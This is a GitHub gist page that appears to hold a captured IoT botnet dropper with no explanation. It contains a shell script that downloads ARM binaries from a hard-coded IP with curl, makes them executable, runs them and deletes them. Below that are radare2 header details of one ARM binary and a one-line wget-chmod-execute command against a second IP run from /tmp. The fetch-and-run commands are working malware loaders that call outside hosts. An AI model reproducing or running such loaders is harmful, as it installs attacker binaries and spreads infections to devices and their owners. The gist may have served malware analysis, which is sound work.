Skip to content

Instantly share code, notes, and snippets.

@nl5887
Created February 26, 2019 20:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nl5887/435ab9a0d1958be18908037bcacdfcb3 to your computer and use it in GitHub Desktop.
Save nl5887/435ab9a0d1958be18908037bcacdfcb3 to your computer and use it in GitHub Desktop.
#!/bin/sh
# Edit
WEBSERVER="209.141.50.26"
# Stop editing now
BINARIES="arm arm7 arm64"
for Binary in $BINARIES; do
curl -A wget -Lo bbp2 http://$WEBSERVER/$Binary
chmod 777 bbp2
./bbp2 b
rm -rf bbp2
done
rm -f b
[0x0000e228]> ia
arch arm
baddr 0x8000
binsz 3380
bintype elf
bits 32
canary false
sanitiz false
class ELF32
crypto false
endian little
havecode true
laddr 0x0
lang c
linenum true
lsyms true
machine ARM
maxopsz 4
minopsz 4
nx false
os linux
pcalign 4
pic false
relocs true
rpath NONE
static true
stripped false
subsys linux
va true
[Imports]
Num Vaddr Bind Type Name
[Exports]
Num Paddr Vaddr Bind Type Size Name
cd /tmp ; rm -rf arm; wget http://198.98.54.147/arm; chmod 777 arm; ./arm nvr; rm -f arm f
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment